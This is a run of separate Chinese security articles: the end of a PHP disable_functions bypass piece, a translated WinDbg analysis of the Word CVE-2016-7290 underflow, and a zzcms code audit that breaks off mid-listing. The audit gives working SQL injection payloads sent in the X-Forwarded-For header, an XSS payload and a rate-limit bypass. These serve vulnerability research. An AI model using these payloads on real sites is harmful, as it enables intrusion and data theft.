使用iconv插件bypass
创建副本后,将url改为`/.antproxy.php`
## Reference
<https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/#Bypass-3>
<https://whoamianony.top/2021/03/13/Web%E5%AE%89%E5%85%A8/Bypass%20Disable_functions/>
<https://clq0.top/bypass-disable_function-php/#iconv>
<https://github.com/AntSwordProject/AntSword-Labs>
<https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html>
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
# 【漏洞分析】CVE-2016-7290： 微软office word的整数下溢漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：srcincite.io
原文地址：<http://srcincite.io/blog/2016/12/13/word-up-microsoft-word-onetabledocumentstream-underflow.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **myswsun**
****](http://bobao.360.cn/member/contribute?uid=2775084127)
**预估稿费：130RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x00 前言**
这个下溢是当word处理特殊的二进制文档文件时，在复制操作期间越界读取时触发，能够导致winword.exe保护模式下栈的缓冲区溢出问题。
一切听起来是戏剧性的，但是PoC触发只需要越界读取，然而本文将深入分析漏洞细节。
这个漏洞影响Microsoft Word 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2
(32位版本), Microsoft Office 2010 Service Pack 2 (64位版本) 和 Microsoft Office
Compatibility Pack Service Pack
3。更多的细节能从[SRC-2016-0042](http://srcincite.io/advisories/src-2016-0042/)获取。本文所有的分析是基于Microsoft
Office 2010 专业版的winword.exe(v14.0.4734.1000)。
首先，来看下sample和PoC文件的不同之处。
注意到只有一个字节的不同。接下来看下哪个结构块包含了这个不同。
可以看到不同之处在于OneTableDocumentStream数据域中。Sample文件的值为0x68，而poc文件使用0xfa来触发下溢。
**0x01 触发漏洞**
首先，为了调试开启页堆和用户态栈跟踪：
c:Program FilesDebugging Tools for Windows (x86)>gflags.exe -i winword.exe +hpa +ust
Current Registry Settings for winword.exe executable are: 02001000
ust - Create user mode stack trace database
hpa - Enable page heap
c:Program FilesDebugging Tools for Windows (x86)>
然后运行poc.doc文件导致以下保护模式外异常访问：
(880.ac4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000033 edx=00000002 esi=22870ffd edi=002513c4
eip=744fb40c esp=0024c694 ebp=0024c69c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR90!memmove+0xfc:
744fb40c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> kvn
# ChildEBP RetAddr Args to Child
00 0024c69c 5e3f9b36 002513bf 22870ff8 000000d3 MSVCR90!memmove+0xfc
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0024c6b0 5e413843 22870ff8 002513bf 000000d3 wwlib!DllGetClassObject+0x455a
02 0024c744 5e413223 002513ac 002513a0 00004ab8 wwlib!GetAllocCounters+0xcadb
03 00251230 5e4131c6 002513ac 002513a0 00004ab8 wwlib!GetAllocCounters+0xc4bb
04 00251264 5e45f414 002513ac 002513a0 00004ab8 wwlib!GetAllocCounters+0xc45e
05 00251280 5e8da8a7 002513a0 22872fe4 00000000 wwlib!GetAllocCounters+0x586ac
06 002512b8 5e89fdcb 04760520 002513a0 ffffffff wwlib!DllGetLCID+0x2d4521
07 002567f4 5e66e957 1b132948 04760098 00000000 wwlib!DllGetLCID+0x299a45
08 002580e0 5e671d5b 04760098 00258928 00000001 wwlib!DllGetLCID+0x685d1
09 00258584 5e671489 04760098 00258928 1b132948 wwlib!DllGetLCID+0x6b9d5
0a 0025894c 5e675c10 04760098 00002490 00000000 wwlib!DllGetLCID+0x6b103
0b 00258998 5e4a6ad4 04760098 1b132948 0000056e wwlib!DllGetLCID+0x6f88a
0c 002589d4 64270be6 22562f10 0000056e 00000000 wwlib!GetAllocCounters+0x9fd6c
0d 002589f8 64270ebd 18bea880 18bea998 00258aa8 MSPTLS!FsTransformBbox+0x279b3
0e 00258a4c 64270f2c 22798de8 00258d40 00000000 MSPTLS!FsTransformBbox+0x27c8a
0f 00258aec 64271196 00258d40 00000000 00000000 MSPTLS!FsTransformBbox+0x27cf9
10 00258ca0 6425736a 22798de8 227f0ca0 00000000 MSPTLS!FsTransformBbox+0x27f63
11 00258db4 6428aa6f 22826fd0 00000000 00000000 MSPTLS!FsTransformBbox+0xe137
12 00258eac 6426fbb9 22798de8 227f0ca0 00000000 MSPTLS!FsTransformBbox+0x4183c
13 00259000 6425684e 22798de8 00000000 00000000 MSPTLS!FsTransformBbox+0x26986
**0x02 调查访问的内存**
第一步我们要检查在崩溃时访问的内存。
0:000> !heap -p -a @esi
address 22870ffd found in
_DPH_HEAP_ROOT @ 61000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
227a13a8: 22870fe0 19 - 22870000 2000
67be8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77126206 ntdll!RtlDebugAllocateHeap+0x00000030
770ea127 ntdll!RtlpAllocateHeap+0x000000c4
770b5950 ntdll!RtlAllocateHeap+0x0000023a
5de2d804 mso!Ordinal149+0x000074b0
5e6a754d wwlib!DllGetLCID+0x000a11c7
5e7debc2 wwlib!DllGetLCID+0x001d883c
5e41f313 wwlib!GetAllocCounters+0x000185ab
5e41ec32 wwlib!GetAllocCounters+0x00017eca
5e41eb57 wwlib!GetAllocCounters+0x00017def
5e41e72a wwlib!GetAllocCounters+0x000179c2
5e423d89 wwlib!GetAllocCounters+0x0001d021
5e6acca5 wwlib!DllGetLCID+0x000a691f
5e422aa0 wwlib!GetAllocCounters+0x0001bd38
5e43ed59 wwlib!GetAllocCounters+0x00037ff1
5e43ec61 wwlib!GetAllocCounters+0x00037ef9
5e48f0c3 wwlib!GetAllocCounters+0x0008835b
5e48f050 wwlib!GetAllocCounters+0x000882e8
5e4a6aba wwlib!GetAllocCounters+0x0009fd52
64270be6 MSPTLS!FsTransformBbox+0x000279b3
64270ebd MSPTLS!FsTransformBbox+0x00027c8a
64270f2c MSPTLS!FsTransformBbox+0x00027cf9
64271196 MSPTLS!FsTransformBbox+0x00027f63
6425736a MSPTLS!FsTransformBbox+0x0000e137
6428aa6f MSPTLS!FsTransformBbox+0x0004183c
6426fbb9 MSPTLS!FsTransformBbox+0x00026986
6425684e MSPTLS!FsTransformBbox+0x0000d61b
6426ad48 MSPTLS!FsTransformBbox+0x00021b15
6428573e MSPTLS!FsTransformBbox+0x0003c50b
64285910 MSPTLS!FsTransformBbox+0x0003c6dd
64285c7b MSPTLS!FsTransformBbox+0x0003ca48
6426b17a MSPTLS!FsTransformBbox+0x00021f47
0:000> !address @edi
ProcessParametrs 00069738 in range 00069000 0006a000
Environment 02b233d8 in range 02b23000 02b24000
00160000 : 0023d000 - 00023000
Type 00020000 MEM_PRIVATE
Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageStack
Pid.Tid 880.ac4
0:000> dd @esi
22870ffd ???????? ???????? ???????? ????????
2287100d ???????? ???????? ???????? ????????
2287101d ???????? ???????? ???????? ????????
2287102d ???????? ???????? ???????? ????????
2287103d ???????? ???????? ???????? ????????
2287104d ???????? ???????? ???????? ????????
2287105d ???????? ???????? ???????? ????????
2287106d ???????? ???????? ???????? ????????
0:000> ?@ecx*4
Evaluate expression: 204 = 000000cc
可以看到越界读取了一个0x19字节的堆内存，试着将另外的204个字节复制到edi中。
正如结果，栈变量在顶上6个栈桢传递，下面的是通过其他变量和偏移动态计算的。没有符号直接加大了跟踪的难度。
**0x03 写内存**
如果我们继续从esi读，那么可以假定继续写是安全的。我知道这是一个大的猜测，但是利用[ole堆喷射](https://www.greyhathacker.net/?p=911)或者得到使用[eps](https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html)的的堆，是有可能控制那个偏移的数据的。但是如何覆写？我们看下目标栈地址：
0:000> !py mona do -a 002513c4 -s 0xcc
Hold on...
[+] Command used:
!py mona.py do -a 002513c4 -s 0xcc
---------------------------------------------------- [+] Dumping object at 0x002513c4, 0xcc bytes
[+] Preparing output file 'dumpobj.txt'
- (Re)setting logfile dumpobj.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
>> Object at 0x002513c4 (0xcc bytes):
Offset Address Contents Info
------ ------- -------- ----- +00 0x002513c4 | 0x00000000
+04 0x002513c8 | 0x000bd62f
+08 0x002513cc | 0x00002001
+0c 0x002513d0 | 0x0000ff00
+10 0x002513d4 | 0xd63b0000
+14 0x002513d8 | 0x8001000c
+18 0x002513dc | 0xff000000
+1c 0x002513e0 | 0x0100ffff
+20 0x002513e4 | 0x00000000
+24 0x002513e8 | 0x00000000
+28 0x002513ec | 0xffffffff
+2c 0x002513f0 | 0x00000000
+30 0x002513f4 | 0x00000000
+34 0x002513f8 | 0x00000000
+38 0x002513fc | 0x00000000
+3c 0x00251400 | 0x00000000
+40 0x00251404 | 0xff000000
+44 0x00251408 | 0x00000000
+48 0x0025140c | 0xff000000
+4c 0x00251410 | 0x00000000
+50 0x00251414 | 0xff000000
+54 0x00251418 | 0x00000c48
+58 0x0025141c | 0xffffffff
+5c 0x00251420 | 0x00000000
+60 0x00251424 | 0xff000000
+64 0x00251428 | 0x00000000
+68 0x0025142c | 0xff000000
+6c 0x00251430 | 0x00000000
+70 0x00251434 | 0x1b132948 ptr to 0x5e52ee80 : wwlib!GetAllocCounters+0x128118
+74 0x00251438 | 0xff000000
+78 0x0025143c | 0x00000000
+7c 0x00251440 | 0x00000000
+80 0x00251444 | 0x00000000
+84 0x00251448 | 0x00000000
+88 0x0025144c | 0x00000000
+8c 0x00251450 | 0xff000000
+90 0x00251454 | 0x00000000
+94 0x00251458 | 0x00000000
+98 0x0025145c | 0x00000000
+9c 0x00251460 | 0x00000000
+a0 0x00251464 | 0x00000000
+a4 0x00251468 | 0x00000000
+a8 0x0025146c | 0x00000000
+ac 0x00251470 | 0x00000000
+b0 0x00251474 | 0x00000000
+b4 0x00251478 | 0x00000000
+b8 0x0025147c | 0x00000000
+bc 0x00251480 | 0x00000000
+c0 0x00251484 | 0x00000000
+c4 0x00251488 | 0x00000000
+c8 0x0025148c | 0x00000000
使用mona插件，能够将拷贝剩余大小的栈地址转储，可以看见有个指针指向.text
(wwlib!GetAllocCounters+0x128118)。如果没猜错，我们不应该覆写这个值。
因此，我们可能溢出了一个栈缓冲区（可能性不大）。如果我们想命中返回地址，需要知道目的地址+0x1e8处才能出现。好奇之下能够定位到这里：
...
+cc 0x00251490 | 0xff700000
+d0 0x00251494 | 0x00ffffff
+d4 0x00251498 | 0x00000000
+d8 0x0025149c | 0x00000000
...
+1dc 0x002515a0 | 0x1b132be0
+1e0 0x002515a4 | 0x0000005e
+1e4 0x002515a8 | 0x002515c4 ptr to self+0x00000200
+1e8 0x002515ac | 0x5e415bc1 wwlib!GetAllocCounters+0xee59
[+] This mona.py action took 0:00:01.669000
0:000> ub 0x5e415bc1
wwlib!GetAllocCounters+0xee41:
5e415ba9 5e pop esi
5e415baa 81fbffffff7f cmp ebx,7FFFFFFFh
5e415bb0 0f873e393c00 ja wwlib!DllGetLCID+0x1d316e (5e7d94f4)
5e415bb6 8b5508 mov edx,dword ptr [ebp+8]
5e415bb9 53 push ebx
5e415bba 50 push eax
5e415bbb 52 push edx
5e415bbc e8b9e9fdff call wwlib+0x457a (5e3f457a)
我们无法看见调用栈，因为栈向上伸展失败了：
0:000> ?0x002515ac-@esp
Evaluate expression: 20248 = 00004f18
接下来的问题是，怎么模拟继续执行？
[Bannedit](https://twitter.com/bannedit0)编写了一个很好的插件[counterfeit](https://github.com/bannedit/windbg)，可以在windbg中看到用VirtualAlloc分配的块并且用标记的数据填充它。我们能继续并替换esi的值，继续复制操作。
0:000> !py cf -a 2000 -f
__ _____ .__ __
____ ____ __ __ _____/ |_ ____________/ ________ |__|/ |_
_/ ___/ _ | | / __/ __ _ __ __/ __ | __
__( <_> ) | / | | ___/| | /| | ___/| || |
___ >____/|____/|___| /__| ___ >__| |__| ___ >__||__|
/ / / /
version 1.0 - bannedit
Allocated memory @ 0x14130000 with RWX permissions.
Filling memory...
Finished filling memory.
0:000> dd 0x14130000
14130000 41414141 41414142 41414143 41414144
14130010 41414145 41414146 41414147 41414148
14130020 41414149 4141414a 4141414b 4141414c
14130030 4141414d 4141414e 4141414f 41414150
14130040 41414151 41414152 41414153 41414154
14130050 41414155 41414156 41414157 41414158
14130060 41414159 4141415a 4141415b 4141415c
14130070 4141415d 4141415e 4141415f 41414160
现在我们看到esi位于0x14130000：
0:000> g
(880.ac4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00000033 edx=00000002 esi=22870ffd edi=002513c4
eip=744fb40c esp=0024c694 ebp=0024c69c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR90!memmove+0xfc:
744fb40c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> r @esi=0x14130000
...
0:000> t
eax=00000000 ebx=00000000 ecx=00000017 edx=00000002 esi=14130070 edi=00251434
eip=744fb40c esp=0024c694 ebp=0024c69c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR90!memmove+0xfc:
744fb40c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd @edi L1
00251434 1b132948
0:000> dds poi(@edi) L1
1b132948 5e52ee80 wwlib!GetAllocCounters+0x128118
0:000> u poi(poi(@edi))
wwlib!GetAllocCounters+0x6e3b0:
5e475118 55 push ebp
5e475119 8bec mov ebp,esp
5e47511b 56 push esi
5e47511c 8bf1 mov esi,ecx
5e47511e e814000000 call wwlib!GetAllocCounters+0x6e3cf (5e475137)
5e475123 f6450801 test byte ptr [ebp+8],1
5e475127 7407 je wwlib!GetAllocCounters+0x6e3c8 (5e475130)
5e475129 56 push esi
0:000> t
eax=00000000 ebx=00000000 ecx=00000016 edx=00000002 esi=14130074 edi=00251438
eip=744fb40c esp=0024c694 ebp=0024c69c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR90!memmove+0xfc:
744fb40c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dds poi(@edi-4) L1
4141415d ????????
我们能看到我们覆写数据的指针，指向了来自esi中值对应的函数。因为esi中的数据是标记过的，我们能知道用来覆写指针的偏移。
0:000> ?0x5d-0x41
Evaluate expression: 28 = 0000001c
0:000> !py mona do -a 002513c4 -s 0x78
Hold on...
[+] Command used:
!py mona.py do -a 002513c4 -s 0x78
---------------------------------------------------- [+] Dumping object at 0x002513c4, 0x78 bytes
[+] Preparing output file 'dumpobj.txt'
- (Re)setting logfile dumpobj.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
>> Object at 0x002513c4 (0x78 bytes):
Offset Address Contents Info
------ ------- -------- ----- +00 0x002513c4 | 0x41414141 = ASCII 'AAAA'
+04 0x002513c8 | 0x41414142 = ASCII 'AAAB'
+08 0x002513cc | 0x41414143 = ASCII 'AAAC'
+0c 0x002513d0 | 0x41414144 = ASCII 'AAAD'
+10 0x002513d4 | 0x41414145 = ASCII 'AAAE'
+14 0x002513d8 | 0x41414146 = ASCII 'AAAF'
+18 0x002513dc | 0x41414147 = ASCII 'AAAG'
+1c 0x002513e0 | 0x41414148 = ASCII 'AAAH'
+20 0x002513e4 | 0x41414149 = ASCII 'AAAI'
+24 0x002513e8 | 0x4141414a = ASCII 'AAAJ'
+28 0x002513ec | 0x4141414b = ASCII 'AAAK'
+2c 0x002513f0 | 0x4141414c = ASCII 'AAAL'
+30 0x002513f4 | 0x4141414d = ASCII 'AAAM'
+34 0x002513f8 | 0x4141414e = ASCII 'AAAN'
+38 0x002513fc | 0x4141414f = ASCII 'AAAO'
+3c 0x00251400 | 0x41414150 = ASCII 'AAAP'
+40 0x00251404 | 0x41414151 = ASCII 'AAAQ'
+44 0x00251408 | 0x41414152 = ASCII 'AAAR'
+48 0x0025140c | 0x41414153 = ASCII 'AAAS'
+4c 0x00251410 | 0x41414154 = ASCII 'AAAT'
+50 0x00251414 | 0x41414155 = ASCII 'AAAU'
+54 0x00251418 | 0x41414156 = ASCII 'AAAV'
+58 0x0025141c | 0x41414157 = ASCII 'AAAW'
+5c 0x00251420 | 0x41414158 = ASCII 'AAAX'
+60 0x00251424 | 0x41414159 = ASCII 'AAAY'
+64 0x00251428 | 0x4141415a = ASCII 'AAAZ'
+68 0x0025142c | 0x4141415b = ASCII 'AAA['
+6c 0x00251430 | 0x4141415c = ASCII 'AAA'
+70 0x00251434 | 0x4141415d = ASCII 'AAA]'
+74 0x00251438 | 0xff000000
**0x03 曝光**
再次观察调用栈，注意到memmove()的调用。
0:000> kvn L2
# ChildEBP RetAddr Args to Child
00 0024c69c 5e3f9b36 002513bf 22870ff8 000000d3 MSVCR90!memmove+0xfc
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0024c6b0 5e413843 22870ff8 002513bf 000000d3 wwlib!DllGetClassObject+0x455a
用Hex-Rays反编译器，可以看到这个函数只是memmove()的一个封装，并在wwlib库中调用。可以重命名sub_316d9b16函数为memmove_wrapper_1。
int __stdcall memmove_wrapper_1(void *Src, void *Dst, size_t Size)
{
int result; // eax@2
if ( Size > 0x7FFFFFFF )
result = MSO_1511(1647603307, 0);
else
result = (int)memmove(Dst, Src, Size);
return result;
}
如果大小大于MAX_INT，一个整形溢出异常被触发。另外也没有合理的校验小雨目的缓冲区的情况。
为了利用，我们得知道memmove()如何访问和被调用。
所以设置一个断点bp wwlib!DllGetClassObject+0x4554 ".printf "calling memmove(%x, %x,
%x);\n", poi(@esp), poi(@esp+4), poi(@esp+8); gc"并重新运行PoC。
calling memmove(271164, 26fb3c, e);
calling memmove(271172, 26fb4a, f);
calling memmove(271148, 2266efe0, 3);
calling memmove(27114b, 2266efe3, 3);
calling memmove(27114e, 2266efe6, 3);
calling memmove(271151, 2266efe9, 3);
calling memmove(271154, 2266efec, 3);
calling memmove(271157, 2266efef, 4);
calling memmove(27115b, 2266eff3, 5);
calling memmove(27122e, 27115b, 5);
calling memmove(27115b, 2266eff8, d3);
(5f0.59c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000033 edx=00000002 esi=2266effd edi=00271160
eip=744fb40c esp=0026c430 ebp=0026c438 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR90!memmove+0xfc:
744fb40c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
有一系列的源缓冲区是0x2266efXX开头的，并且目的缓冲区是0x002711YY。怀疑这是在一个错误的循环中多次调用memmove()。
我决定分析每个调用来判断是否是独特的。在windbg中执行‘k’命令不能继续分割它，我们已经准备在上述断点减缓执行。我决定用一个轻量的windbg插件来收集返回地址：
from pykd import *
mashed = 0
for frame in getStack():
mashed += frame.returnOffset
print "stack hash: 0x%x" % mashed
0:000> !py sh
stack hash: 0x199a6804c9
现在将它添加到我们的断点，换一行并在末尾增加空格，最后重新运行：
0:010> bu wwlib!DllGetClassObject+0x4554 ".printf "calling memmove(%x, %x, %x); ", poi(@esp), poi(@esp+4), poi(@esp+8); !py sh; gc"
0:010> g
...
calling memmove(190fa4, 18f97c, e); stack hash: 0x18a96a3a98
calling memmove(190fb2, 18f98a, f); stack hash: 0x18a96a3a98
calling memmove(190f88, 49d7fe0, 3); stack hash: 0x1847ab6993
calling memmove(190f8b, 49d7fe3, 3); stack hash: 0x1847ab6993
calling memmove(190f8e, 49d7fe6, 3); stack hash: 0x1847ab6993
calling memmove(190f91, 49d7fe9, 3); stack hash: 0x1847ab6993
calling memmove(190f94, 49d7fec, 3); stack hash: 0x1847ab6993
calling memmove(190f97, 49d7fef, 4); stack hash: 0x1847ab6993
calling memmove(190f9b, 49d7ff3, 5); stack hash: 0x1847ab6993
calling memmove(19106e, 190f9b, 5); stack hash: 0x1847ad8b4c
calling memmove(190f9b, 49d7ff8, d3); stack hash: 0x1847ab6993
(7dc.71c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000033 edx=00000002 esi=049d7ffd edi=00190fa0
eip=744fb40c esp=0018c270 ebp=0018c278 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210212
MSVCR90!memmove+0xfc:
744fb40c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
现在可以判断memmove() 在一个循环中被调用，因为在同一个栈哈希值0x1847ab6993。
**
**
**0x05 影响**
因为不能溢出返回地址和之后在写或复制操作中会访问和用到的一些值，这个漏洞的影响非常小。
Microsoft将此漏洞修补为“Microsoft
Office信息泄露漏洞”，这在本文中介绍的上下文中说的通。然而，如果我们能够在溢出覆盖栈中.text中的一个指针，这个漏洞将影响更大。
在sub_316f3232函数中，有525处调用memmove_wrapper_1()，意味着有有多种途径可以触发这个漏洞。
另外在栈中没有一个函数使用了/GS保护，意味着如果返回地址被覆盖，没有系统级别的缓解措施能够缓解它。
**0x06 总结**
许多复杂的漏洞在office代码中一直存在，只是难以被发现。甚至更难去调查根因并开发利用，如果微软开放了符号表，将能更好的发现漏洞。 | 社区文章 |
先去看一下目录结构，文件有点多，像之前的看代码审计不行了，必须得学点新的审计方式了
先安装上 在安装说明里说要启用这么一个函数
allow_url_fopen
可能存在远程文件包含，先记着
/install 安装程序目录（安装时必须有可写入权限）
/admin 默认后台管理目录（可任意改名）
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从http://www.zzcms.net/skin.asp 下载
/template 系统模板存放目录;更多系统模板可从http://www.zzcms.net/template.asp 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面，如公司简介页，友情链接页，帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq登录接口文件
/3/ucenter_api discuz论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信API
/3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录
/favicon.ico 地址栏左侧小图标文件
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini 伪静态规则文件for iss6
/.htaccess 伪静态规则文件for apache
根据文件的功能大致猜测了一下 会有那些漏洞，
3 第三方插件 哪里有手机短信 可能会存在逻辑漏洞
inc 系统包含文件所用目录，如果可写，可能存在文件包含+RCE
/uploadfiles 文件上传
## 逻辑漏洞-密码爆破
看了一下admin目录
这里有个登陆功能，会限制访问次数，
在admin/logincheck.php 的 19行
$ip=getip();
调用了getip() 跟进
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
很明显的xff绕过
密码就可以无限次的爆破
## sql注入
在下面的22行这里，有一处ip入库查询操作
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
$ip被单引号包住了，$ip没有经过过滤
存在注入
### 测试
这里经过测试 当表中的内容为空时，延时注入不能实现，
这里需要先保证验证码是正确的，猜测一次，然后才可以注入，验证码正确后，会把ip记录到数据库中
payload
X-Forwarded-For:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
在下面的记录ip次数这里，都调用了$IP变量
$sqln="select * from zzcms_login_times where ip='$ip'";
$rsn =query($sqln);
$rown= num_rows($rsn);
if ($rown){
$rown= fetch_array($rsn);
if ($rown['count']>=trytimes && strtotime(date("Y-m-d H:i:s"))-strtotime($rown['sendtime'])>jgsj){//15分钟前登录过的归0
query("UPDATE zzcms_login_times SET count = 0 WHERE ip='$ip'");
}
query("UPDATE zzcms_login_times SET count = count+1,sendtime='".date('Y-m-d H:i:s')."' WHERE ip='$ip'");//有记录的更新
}else{
query("INSERT INTO zzcms_login_times (count,sendtime,ip)VALUES(1,'".date('Y-m-d H:i:s')."','$ip')");
同样这里也存在注入问题
xff:1' and if(ascii(substr((select database()),1,1))<9,sleep(10),sleep(5))-- +
跟进一下验证码的验证过程
logincheck.php 31行
checkyzm($_POST["yzm"]);
inc/function.php 234行
function checkyzm($yzm){
if($yzm!=$_SESSION["yzm_math"]){showmsg('验证问题答案错误！','back');}
}
跟进session[yzm_math]
one/code_math.php
getCode(100, 20);
function getCode($w, $h) {
$im = imagecreate($w, $h);
//imagecolorallocate($im, 14, 114, 180); // background color
$black1 = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);
$num1 = rand(1, 20);
$num2 = rand(1, 20);
$_SESSION['yzm_math'] = $num1 + $num2;
可以前台这里直接审查元素，快速找到验证码是那个页面生成的
这里算是对一般验证码生成的一个了解吧，之前以为验证码是一张张保存好了的图片，这里是先生成随机数，在添加画背景，添加干扰像素，最后设置content-type:image/png 从而生成一张图片验证码
验证码的验证是保存在session中
既然admin登陆这里有注入，再去普通用户登陆看一下
先是有一个注册
这里对输入参数都有格式限制，注入不行了
## sql注入
再去看登陆
user/logincheck.php 18行
$ip=getip();
define('trytimes',5);//可尝试登录次数
define('jgsj',10*60);//间隔时间，秒
$sql="select * from zzcms_login_times where ip='$ip' and count>=".trytimes." and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
和之前admin哪里同样的道理 ip注入
两个登陆处都已经看了，再去看看后台，一般来说都会有发布的功能
找到一处广告
admin/ad_manger.php
找到两处问题
1处sql注入 多处xss
## sql注入
67行 这里把$b带入了数据库查询，但是
$sql="select classname from zzcms_adclass where parentid='".$b."' order by xuhao";
回溯$b 19行
$b=isset($_REQUEST["b"])?$_REQUEST["b"]:'';
同样这里也不回显，延时盲注
延时注入有一个地方需要注意，就是and和or的特性 最好使用一组数据库中已经存在的数据，然后用and连接
## XSS
这里有多处xss
随便找一个
<input name="keyword" type="text" id="keyword" value="<?php echo $keyword?>">
回溯keyword 17行
$keyword=isset($_REQUEST["keyword"])?$_REQUEST["keyword"]:'';
输出参数没有经过转义
post
keyword="><script>alert(1)</script>
ad_save.php 发布功能
这里有一个插入行的注入 36行
if ($_REQUEST["action"]=="add"){
query("INSERT INTO zzcms_ad (bigclassname,smallclassname,title,titlecolor,link,img,imgwidth,imgheight,username,starttime,endtime,elite,sendtime)VALUES('$bigclassname','$smallclassname','$title','$titlecolor','$link','$img','$imgwidth','$imgheight','$username','$starttime','$endtime','$elite','".date('Y-m-d H:i:s',time()-(showadvdate+1)*60*60*24)."')");
回溯$bigclassname $smallclassname 28行
$bigclassname=$_POST["bigclassid"];
$smallclassname=$_POST["smallclassid"];
在测试的时候发现单引号被转义，
在下面找到一个貌似可以xss的地方
78行这里 会把参数输出
<td width="33%" align="center" class="border"><a href="ad_manage.php?b=<?php echo $bigclassname?>&s=<?php echo $smallclassname?>&page=<?php echo $page?>">返回</a></td>
试了<>之后 发现也被转义了
找了好长时间，最好在inc/conn.php中找到
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
跟进zc_check函数
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
这里转义了post get cookie中的变量
根据之前审bluecms的教训，转义了单引号也没事，找到没有被单引号包住的参数，也能注入
最常用的数字型注入参数 就是id 直接全局搜一下id 碰碰运气
找到了好几个没有被引号包住的
## sql注入
admin\dl_sendsms.php 35行
33: $sql="select * from zzcms_dl where saver<>'' and id in (". $id .")";//ûÓнÓÊÕÈ˵ģ¬·ÇÁôÑÔÀà´úÀí²»Ó÷¢ÌáʾÓʼþ¡£
34 }else{
35: $sql="select * from zzcms_dl where saver<>'' and id=".$id."";
admin\showbad.php 30行
30: if (strpos($id,",")>0){
31: $sql="delete from zzcms_bad where id in (". $id .")";
39行
39 if ($action=="lockip"){
40: if (strpos($id,",")>0){
